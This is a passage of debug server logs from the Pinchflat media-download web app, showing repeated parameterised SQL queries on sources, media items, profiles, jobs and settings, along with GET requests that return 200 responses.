s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 21:43:11.881 [debug] QUERY OK source="sources" db=0.7ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 21:43:11.882 [debug] QUERY OK source="media_items" db=0.6ms idle=2.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [6] 21:43:11.882 [debug] QUERY OK source="media_items" db=0.4ms idle=0.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [6] 21:43:11.882 [debug] QUERY OK source="media_items" db=0.8ms idle=2.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 21:43:11.884 [debug] QUERY OK source="media_items" db=1.4ms idle=1.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [6, 10, 0] 21:43:11.884 [debug] QUERY OK source="media_items" db=1.9ms idle=1.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [6, 10, 0] 21:43:11.886 [debug] QUERY OK source="media_items" db=3.7ms idle=0.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 21:43:11.887 [debug] QUERY OK source="sources" db=0.5ms idle=3.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 21:43:11.887 [debug] QUERY OK source="sources" db=0.7ms idle=3.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 21:43:11.888 [debug] QUERY OK source="media_items" db=1.0ms idle=3.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [6] 21:43:11.888 [debug] QUERY OK source="sources" db=0.8ms idle=2.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:43:11.888 [debug] QUERY OK source="media_items" db=0.9ms idle=1.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [6] 21:43:11.889 [debug] QUERY OK source="media_items" db=1.1ms idle=1.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [6, 10, 0] 21:43:11.890 [debug] QUERY OK source="media_items" db=0.9ms idle=1.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [6, 10, 0] 21:43:11.890 [debug] QUERY OK source="media_items" db=0.9ms idle=0.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 21:43:11.890 [info] Sent 200 in 33ms 21:43:11.892 [debug] QUERY OK source="media_items" db=0.9ms queue=0.2ms idle=2.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 21:43:11.892 [info] Sent 200 in 35ms 21:43:11.894 [info] GET /sources/2/ 21:43:11.894 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 21:43:11.894 [debug] QUERY OK source="sources" db=1.6ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:43:11.896 [debug] QUERY OK source="sources" db=1.7ms queue=0.1ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:43:11.898 [debug] QUERY OK source="media_items" db=3.6ms idle=5.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 21:43:11.899 [debug] QUERY OK source="media_profiles" db=1.7ms queue=0.2ms idle=7.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:43:11.900 [debug] QUERY OK source="tasks" db=0.6ms idle=4.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [2, "executing", "available", "scheduled", "retryable"] 21:43:11.902 [debug] QUERY OK source="media_items" db=2.7ms queue=0.1ms idle=7.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 21:43:11.902 [debug] QUERY OK source="oban_jobs" db=1.4ms idle=4.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2347] 21:43:11.903 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.903 [info] Sent 200 in 41ms 21:43:11.904 [debug] QUERY OK source="settings" db=0.5ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.906 [debug] QUERY OK source="settings" db=0.8ms idle=4.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.910 [debug] QUERY OK source="sources" db=1.8ms queue=0.1ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:43:11.912 [debug] QUERY OK source="media_items" db=1.0ms idle=9.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 21:43:11.915 [debug] QUERY OK source="media_items" db=2.5ms idle=9.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 21:43:11.923 [debug] QUERY OK source="sources" db=6.5ms queue=0.1ms idle=12.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:43:11.924 [debug] QUERY OK source="media_items" db=0.5ms idle=17.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 21:43:11.925 [debug] QUERY OK source="media_items" db=0.4ms queue=0.3ms idle=14.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 21:43:11.927 [debug] QUERY OK source="sources" db=0.3ms idle=14.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:43:11.927 [debug] QUERY OK source="media_items" db=0.4ms idle=11.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 21:43:11.929 [debug] QUERY OK source="media_items" db=1.1ms idle=4.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 21:43:11.932 [info] Sent 200 in 38ms 21:43:12.052 [info] GET /media_profiles/1 21:43:12.052 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 21:43:12.052 [debug] QUERY OK source="media_profiles" db=0.2ms idle=128.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:43:12.053 [debug] QUERY OK source="sources" db=0.2ms idle=127.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [1] 21:43:12.053 [debug] QUERY OK source="settings" db=0.1ms idle=126.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 